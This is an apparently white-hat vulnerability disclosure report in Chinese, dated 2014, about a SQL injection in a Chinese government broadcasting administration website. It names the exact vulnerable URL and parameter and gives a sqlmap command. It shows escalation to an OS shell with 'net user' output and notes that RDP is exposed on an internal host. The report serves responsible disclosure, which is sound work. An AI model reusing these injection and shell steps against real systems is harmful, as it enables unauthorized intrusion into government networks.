漏洞详情

披露状态:

2014-09-18: 细节已通知厂商并且等待厂商处理中
2014-09-23: 厂商已经确认,细节仅向厂商公开
2014-10-03: 细节向核心白帽子及相关领域专家公开
2014-10-13: 细节向普通白帽子公开
2014-10-23: 细节向实习白帽子公开
2014-11-02: 细节向公众公开

简要描述:

一个sql注入,可导致广电总局内网渗透。

详细说明:

一个高权限的注入点,直接可导致命令执行,可添加系统管理员,并且3389对外开放,由于其操作的敏感性,未进一步深入测试。
sql注入点:

http://gdtj.chinasarft.gov.cn/wszb/filemanage/ajaxGetDepartList.aspx?departcode=%27


sqlmap.py -u "http://gdtj.chinasarft.gov.cn/wszb/filemanage/ajaxGetDep
artList.aspx?departcode=" --is-dba --dbs


1.jpg


数据就不看了,直接--os-shell
os-shell> net user

----------------------------------------------------------------
Administrator ASPNET cncert
cncert1 cncerttest Guest
---


2.jpg


这几个用户名不知道是cncert的还是其他人添加的...请排查。
看下ip证明是内网

3.jpg


并且开放了3389

3389.jpg


漏洞证明:

只证明危害性,未进行深入测试,点到为止。

修复方案:

对相关参数进行过滤,检查服务器是否被入侵。

标签: none

评论已关闭